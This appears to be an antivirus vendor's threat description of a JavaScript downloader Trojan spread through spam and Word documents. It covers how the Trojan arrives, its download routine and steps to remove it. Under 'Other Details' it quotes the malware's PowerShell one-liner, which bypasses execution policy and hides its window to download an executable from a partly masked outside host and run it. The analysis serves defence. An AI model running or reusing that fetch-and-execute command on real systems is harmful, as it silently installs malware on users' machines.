JS_DLOADR.YYSSA

April 21, 2017
 Analysis by: Michael Jay Villanueva
 ALIASES:

JS.Downloader (Symantec); JS/Nemucod.CTS!tr (Fortinet); JS/DwnLdr-SOE (Sophos)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Spammed via email, Downloaded from the Internet, Dropped by other malware

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It does not have any propagation routine.

It does not have any backdoor routine.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system. As of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size:

1,023 bytes

File Type:

JS

Memory Resident:

No

Initial Samples Received Date:

13 Apr 2017

Payload:

Downloads files, Executes files, Connects to URLs/IPs

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Propagation

This Trojan does not have any propagation routine.

Backdoor Routine

This Trojan does not have any backdoor routine.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • http://{BLOCKED}e.essencedream.com/js80.bin?rldMS

It saves the files it downloads using the following names:

  • %User Profile%\AppData\RoamingUCH65.Exe

(Note: %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000, XP, and Server 2003, or C:\Users\{user name} on Windows Vista and 7.)

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

As of this writing, the said sites are inaccessible.

Other Details

This Trojan does the following:

  • The malware uses Powershell commands in executing its malicious routine:
    • “%System%\cmd.exe" /c ping localhost & powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile ('http://{BLOCKED}e.essencedream.com/js80.bin?rldMS','%appdATA%UCH65.Exe'); sTaRt-ProceSs '%Appdata%UCH65.exe'

NOTES:

This malware arrives through a .DOC file. It is embedded in the said file and executes its routine upon activation of the user.

Below is the screenshot of the embedded malicious .JS file detected as JS_DLOADR.YYSSA:

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

13.350.04

FIRST VSAPI PATTERN DATE:

19 Apr 2017

VSAPI OPR PATTERN File:

13.351.80

VSAPI OPR PATTERN Date:

20 Apr 2017

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %User Profile%\AppData\RoamingUCH65.Exe

Step 4

Scan your computer with your Trend Micro product to delete files detected as JS_DLOADR.YYSSA. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


Did this description help? Tell us how we did.